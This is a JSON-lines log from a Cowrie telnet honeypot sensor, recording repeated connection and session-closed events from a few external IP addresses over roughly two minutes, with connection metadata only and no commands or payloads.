{"eventid":"cowrie.session.closed","duration":30.97151470184326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:23.461240Z","src_ip":"173.198.194.106","session":"a805ddcc6929","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51351237297058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:23.869463Z","src_ip":"173.198.194.106","session":"44104ef0a119","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.879828691482544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:24.725717Z","src_ip":"173.198.194.106","session":"84f1ada8273d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":48260,"dst_ip":"10.17.0.5","dst_port":23,"session":"404d2261414f","protocol":"telnet","message":"New connection: 45.63.42.31:48260 (10.17.0.5:23) [session: 404d2261414f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:26.284309Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":42656,"dst_ip":"10.17.0.5","dst_port":23,"session":"070beeb9d42f","protocol":"telnet","message":"New connection: 164.68.118.26:42656 (10.17.0.5:23) [session: 070beeb9d42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:27.016639Z"}
{"eventid":"cowrie.session.closed","duration":30.886209726333618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:27.276975Z","src_ip":"173.198.194.106","session":"cfafc6513948","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.921119213104248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:28.671503Z","src_ip":"173.198.194.106","session":"63f310579496","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00118613243103,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:29.204777Z","src_ip":"91.205.199.161","session":"2589a83b48b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":52684,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f71462056d6","protocol":"telnet","message":"New connection: 45.63.42.31:52684 (10.17.0.5:23) [session: 9f71462056d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:29.523508Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":57174,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec583255c976","protocol":"telnet","message":"New connection: 103.115.172.252:57174 (10.17.0.5:23) [session: ec583255c976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:29.914664Z"}
{"eventid":"cowrie.session.closed","duration":0.5862293243408203,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:30.500759Z","src_ip":"103.115.172.252","session":"ec583255c976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":55602,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecbbc5d2c828","protocol":"telnet","message":"New connection: 164.68.118.26:55602 (10.17.0.5:23) [session: ecbbc5d2c828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:31.156831Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":56816,"dst_ip":"10.17.0.5","dst_port":23,"session":"e28a7fb5d177","protocol":"telnet","message":"New connection: 164.68.118.26:56816 (10.17.0.5:23) [session: e28a7fb5d177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:31.604139Z"}
{"eventid":"cowrie.session.closed","duration":30.195372819900513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:33.013284Z","src_ip":"161.97.181.240","session":"8ef9d3d9a14c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":35858,"dst_ip":"10.17.0.5","dst_port":23,"session":"e400b4a84ca8","protocol":"telnet","message":"New connection: 164.68.118.26:35858 (10.17.0.5:23) [session: e400b4a84ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:33.864489Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":35952,"dst_ip":"10.17.0.5","dst_port":23,"session":"d86389aafba4","protocol":"telnet","message":"New connection: 164.68.118.26:35952 (10.17.0.5:23) [session: d86389aafba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:33.892874Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":37646,"dst_ip":"10.17.0.5","dst_port":23,"session":"efdf9cf75092","protocol":"telnet","message":"New connection: 164.68.118.26:37646 (10.17.0.5:23) [session: efdf9cf75092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:34.372190Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":41234,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2abbf650519","protocol":"telnet","message":"New connection: 164.68.118.26:41234 (10.17.0.5:23) [session: c2abbf650519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:35.455135Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43344,"dst_ip":"10.17.0.5","dst_port":23,"session":"8237b61c9391","protocol":"telnet","message":"New connection: 164.68.118.26:43344 (10.17.0.5:23) [session: 8237b61c9391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:36.085714Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":33802,"dst_ip":"10.17.0.5","dst_port":23,"session":"43cc0384c0cb","protocol":"telnet","message":"New connection: 173.198.194.106:33802 (10.17.0.5:23) [session: 43cc0384c0cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:36.696681Z"}
{"eventid":"cowrie.session.closed","duration":31.40170669555664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:37.417296Z","src_ip":"173.198.194.106","session":"d9f7bf525ef1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":34906,"dst_ip":"10.17.0.5","dst_port":23,"session":"1317648087be","protocol":"telnet","message":"New connection: 173.198.194.106:34906 (10.17.0.5:23) [session: 1317648087be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:38.012117Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":35292,"dst_ip":"10.17.0.5","dst_port":23,"session":"593ca55e775b","protocol":"telnet","message":"New connection: 173.198.194.106:35292 (10.17.0.5:23) [session: 593ca55e775b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:38.448225Z"}
{"eventid":"cowrie.session.closed","duration":30.281776189804077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:39.087851Z","src_ip":"173.198.194.106","session":"4842630bc9ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.10200881958008,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:39.896528Z","src_ip":"45.63.42.31","session":"97e12b1d9059","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.796674489974976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:40.444433Z","src_ip":"173.198.194.106","session":"22569995c370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":58232,"dst_ip":"10.17.0.5","dst_port":23,"session":"a162ea64d21a","protocol":"telnet","message":"New connection: 164.68.118.26:58232 (10.17.0.5:23) [session: a162ea64d21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:40.690783Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":58732,"dst_ip":"10.17.0.5","dst_port":23,"session":"19a30ea6ebff","protocol":"telnet","message":"New connection: 164.68.118.26:58732 (10.17.0.5:23) [session: 19a30ea6ebff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:40.844042Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":33788,"dst_ip":"10.17.0.5","dst_port":23,"session":"be5645199c8a","protocol":"telnet","message":"New connection: 164.68.118.26:33788 (10.17.0.5:23) [session: be5645199c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:41.842958Z"}
{"eventid":"cowrie.session.closed","duration":31.224622011184692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:42.317301Z","src_ip":"173.198.194.106","session":"864420f4c85e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":36778,"dst_ip":"10.17.0.5","dst_port":23,"session":"29962e94e1ed","protocol":"telnet","message":"New connection: 164.68.118.26:36778 (10.17.0.5:23) [session: 29962e94e1ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:42.717836Z"}
{"eventid":"cowrie.session.closed","duration":31.134069204330444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:43.145202Z","src_ip":"164.68.118.26","session":"68a7a1eb8d9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85869574546814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:44.088009Z","src_ip":"173.198.194.106","session":"9746257427cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.166823387145996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:44.540575Z","src_ip":"173.198.194.106","session":"d89e38e8e6b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.364646673202515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:44.544908Z","src_ip":"164.68.118.26","session":"fcc83884c656","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":40928,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef642b3e12cd","protocol":"telnet","message":"New connection: 173.198.194.106:40928 (10.17.0.5:23) [session: ef642b3e12cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:45.193403Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46100,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9cc24e7d8ea","protocol":"telnet","message":"New connection: 164.68.118.26:46100 (10.17.0.5:23) [session: a9cc24e7d8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:45.389748Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":48796,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ea71ce43a9e","protocol":"telnet","message":"New connection: 164.68.118.26:48796 (10.17.0.5:23) [session: 3ea71ce43a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:46.201291Z"}
{"eventid":"cowrie.session.closed","duration":31.213327884674072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:46.934971Z","src_ip":"173.198.194.106","session":"b173cf472d73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":51098,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b5d50c79950","protocol":"telnet","message":"New connection: 164.68.118.26:51098 (10.17.0.5:23) [session: 6b5d50c79950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:47.012769Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":52834,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8e171391e5b","protocol":"telnet","message":"New connection: 164.68.118.26:52834 (10.17.0.5:23) [session: a8e171391e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:47.638492Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54760,"dst_ip":"10.17.0.5","dst_port":23,"session":"06aa463e0447","protocol":"telnet","message":"New connection: 164.68.118.26:54760 (10.17.0.5:23) [session: 06aa463e0447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:48.260063Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":58872,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fe235f8ea88","protocol":"telnet","message":"New connection: 164.68.118.26:58872 (10.17.0.5:23) [session: 1fe235f8ea88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:49.473823Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":60294,"dst_ip":"10.17.0.5","dst_port":23,"session":"be16d725d1af","protocol":"telnet","message":"New connection: 164.68.118.26:60294 (10.17.0.5:23) [session: be16d725d1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:49.900553Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34052,"dst_ip":"10.17.0.5","dst_port":23,"session":"54bd46bf0307","protocol":"telnet","message":"New connection: 164.68.118.26:34052 (10.17.0.5:23) [session: 54bd46bf0307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:50.493108Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34486,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f72c35c7ce9","protocol":"telnet","message":"New connection: 164.68.118.26:34486 (10.17.0.5:23) [session: 5f72c35c7ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:50.606807Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34890,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7fbcec42ebf","protocol":"telnet","message":"New connection: 164.68.118.26:34890 (10.17.0.5:23) [session: f7fbcec42ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:50.713925Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":39712,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7c12ac3498a","protocol":"telnet","message":"New connection: 164.68.118.26:39712 (10.17.0.5:23) [session: d7c12ac3498a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:51.931978Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":41680,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2ff3fe271fc","protocol":"telnet","message":"New connection: 164.68.118.26:41680 (10.17.0.5:23) [session: d2ff3fe271fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:52.435419Z"}
{"eventid":"cowrie.session.closed","duration":31.209384441375732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:52.857128Z","src_ip":"173.198.194.106","session":"e507c369bd53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53769588470459,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:53.728830Z","src_ip":"173.198.194.106","session":"76bbe80f3327","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46764,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d6f093aabc6","protocol":"telnet","message":"New connection: 164.68.118.26:46764 (10.17.0.5:23) [session: 4d6f093aabc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:53.811244Z"}
{"eventid":"cowrie.session.closed","duration":31.412302494049072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:53.864854Z","src_ip":"173.198.194.106","session":"81d354d91b1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":48582,"dst_ip":"10.17.0.5","dst_port":23,"session":"64bd56b7eabc","protocol":"telnet","message":"New connection: 164.68.118.26:48582 (10.17.0.5:23) [session: 64bd56b7eabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:54.304260Z"}
{"eventid":"cowrie.session.closed","duration":120.00113844871521,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:54.432708Z","src_ip":"46.139.57.28","session":"6b64998ac40a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.98459219932556,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:56.914314Z","src_ip":"45.63.42.31","session":"3f65362701fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":51572,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab041c5b98bd","protocol":"telnet","message":"New connection: 173.198.194.106:51572 (10.17.0.5:23) [session: ab041c5b98bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:57.809594Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":33288,"dst_ip":"10.17.0.5","dst_port":23,"session":"3926f77a95d8","protocol":"telnet","message":"New connection: 164.68.118.26:33288 (10.17.0.5:23) [session: 3926f77a95d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:57.823323Z"}
{"eventid":"cowrie.session.closed","duration":31.285338640213013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:58.301883Z","src_ip":"164.68.118.26","session":"070beeb9d42f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":38824,"dst_ip":"10.17.0.5","dst_port":23,"session":"f535e1316275","protocol":"telnet","message":"New connection: 164.68.118.26:38824 (10.17.0.5:23) [session: f535e1316275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:59.442807Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":39614,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2074690ded2","protocol":"telnet","message":"New connection: 164.68.118.26:39614 (10.17.0.5:23) [session: c2074690ded2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:59.691116Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":40788,"dst_ip":"10.17.0.5","dst_port":23,"session":"c93a841c9d74","protocol":"telnet","message":"New connection: 164.68.118.26:40788 (10.17.0.5:23) [session: c93a841c9d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:59.975467Z"}
{"eventid":"cowrie.session.closed","duration":41.195297956466675,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:00.160394Z","src_ip":"103.115.172.252","session":"00442193cdb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43556,"dst_ip":"10.17.0.5","dst_port":23,"session":"257c91e980fc","protocol":"telnet","message":"New connection: 164.68.118.26:43556 (10.17.0.5:23) [session: 257c91e980fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:00.747833Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44080,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ab7b9320ba5","protocol":"telnet","message":"New connection: 164.68.118.26:44080 (10.17.0.5:23) [session: 5ab7b9320ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:00.867661Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44342,"dst_ip":"10.17.0.5","dst_port":23,"session":"d86b3a6a7d8d","protocol":"telnet","message":"New connection: 164.68.118.26:44342 (10.17.0.5:23) [session: d86b3a6a7d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:00.946572Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":54562,"dst_ip":"10.17.0.5","dst_port":23,"session":"9793b87308e9","protocol":"telnet","message":"New connection: 173.198.194.106:54562 (10.17.0.5:23) [session: 9793b87308e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:01.597788Z"}
{"eventid":"cowrie.session.closed","duration":30.837599992752075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:02.441621Z","src_ip":"164.68.118.26","session":"e28a7fb5d177","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.254217863082886,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:02.538393Z","src_ip":"45.63.42.31","session":"404d2261414f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.432440280914307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:02.589159Z","src_ip":"164.68.118.26","session":"ecbbc5d2c828","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":51536,"dst_ip":"10.17.0.5","dst_port":23,"session":"3258fda90f06","protocol":"telnet","message":"New connection: 164.68.118.26:51536 (10.17.0.5:23) [session: 3258fda90f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:02.901059Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":53540,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb718055c385","protocol":"telnet","message":"New connection: 164.68.118.26:53540 (10.17.0.5:23) [session: cb718055c385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:03.526618Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":56402,"dst_ip":"10.17.0.5","dst_port":23,"session":"51798c128526","protocol":"telnet","message":"New connection: 173.198.194.106:56402 (10.17.0.5:23) [session: 51798c128526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:03.736627Z"}
{"eventid":"cowrie.session.closed","duration":30.200135946273804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:04.092913Z","src_ip":"164.68.118.26","session":"d86389aafba4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.69810605049133,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:04.221493Z","src_ip":"45.63.42.31","session":"9f71462056d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":56516,"dst_ip":"10.17.0.5","dst_port":23,"session":"4661e462a5d8","protocol":"telnet","message":"New connection: 164.68.118.26:56516 (10.17.0.5:23) [session: 4661e462a5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:04.516849Z"}
{"eventid":"cowrie.session.closed","duration":30.849205255508423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:04.713615Z","src_ip":"164.68.118.26","session":"e400b4a84ca8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":57696,"dst_ip":"10.17.0.5","dst_port":23,"session":"d24d34c471dd","protocol":"telnet","message":"New connection: 164.68.118.26:57696 (10.17.0.5:23) [session: d24d34c471dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:04.833213Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":59990,"dst_ip":"10.17.0.5","dst_port":23,"session":"4feca45775d7","protocol":"telnet","message":"New connection: 164.68.118.26:59990 (10.17.0.5:23) [session: 4feca45775d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:05.535207Z"}
{"eventid":"cowrie.session.closed","duration":31.575096130371094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:05.947166Z","src_ip":"164.68.118.26","session":"efdf9cf75092","protocol":"telnet"}
